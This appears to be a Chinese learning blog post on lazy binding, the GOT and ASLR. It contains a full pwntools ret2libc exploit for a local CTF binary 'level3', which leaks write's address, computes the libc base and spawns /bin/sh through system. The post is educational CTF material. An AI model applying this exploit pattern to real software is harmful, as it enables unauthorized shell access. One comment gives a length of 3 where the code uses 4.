关于延迟绑定的 学习

这篇文章是看了  https://segmentfault.com/a/1190000005888964 文章有感而写

若哪里有错  还请各位指教

其实这篇文章我看着很起劲   但是 感觉有几个疑惑点  但是翻阅资料后 也感觉收获了不少 然后我就来分享一下  

我就从延迟绑定开始说起 

延迟绑定 算是一种系统策略吧  有很多库 库中有很多函数  不用的函数 就先不导入程序中  但是如果函数 经过用的话 那么 链接库就会导出这个函数地址给程序  程序就算是得到了 这个函数      然后配合这基址随机化  库的基址不一定 函数的地址也就不一定  

那么我们想用某一个函数的话  那该怎么办   

我们可以 先把函数调用 然后 得出真正的地址 然后 得出 基地址   然后就可以找到我们想要的地址了 

我直接在代码上写注释把 

from pwn import *

p = process('./level3') elf = ELF('./level3') libc = ELF("/lib/i386-linux-gnu/libc.so.6")

cnt = 140 vul_func = 0x0804844b

p.recv() payload1 = 'a'*cnt + p32(elf.symbols['write']) + p32(vul_func) payload1 += p32(1) + p32(elf.got['write']) + p32(4)
# 这句话的意思是 write(1, got_write, 3);  return vul_func;

p.sendline(payload1) write_addr = u32(p.recv(4)) print "write_addr: "+hex(write_addr)
#u32是将字符串解压成数字  和p32 相反  这里p.recv 是接受 上面的 got_write 
libc_base = write_addr - libc.symbols['write'] log.success("libc_base:"+hex(libc_base))
#得出了 基地址  
system_addr = libc_base + libc.symbols['system'] print "system_addr: " + hex(system_addr)
#然后求出 system 的地址  
bin_addr = libc_base + libc.search('/bin/sh').next()
#寻求字符串
print "bin_addr: "+hex(bin_addr) payload2 = 'a'*cnt + p32(system_addr) + p32(vul_func) + p32(bin_addr) p.sendline(payload2)#加载基地址
#构造  
p.interactive()

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值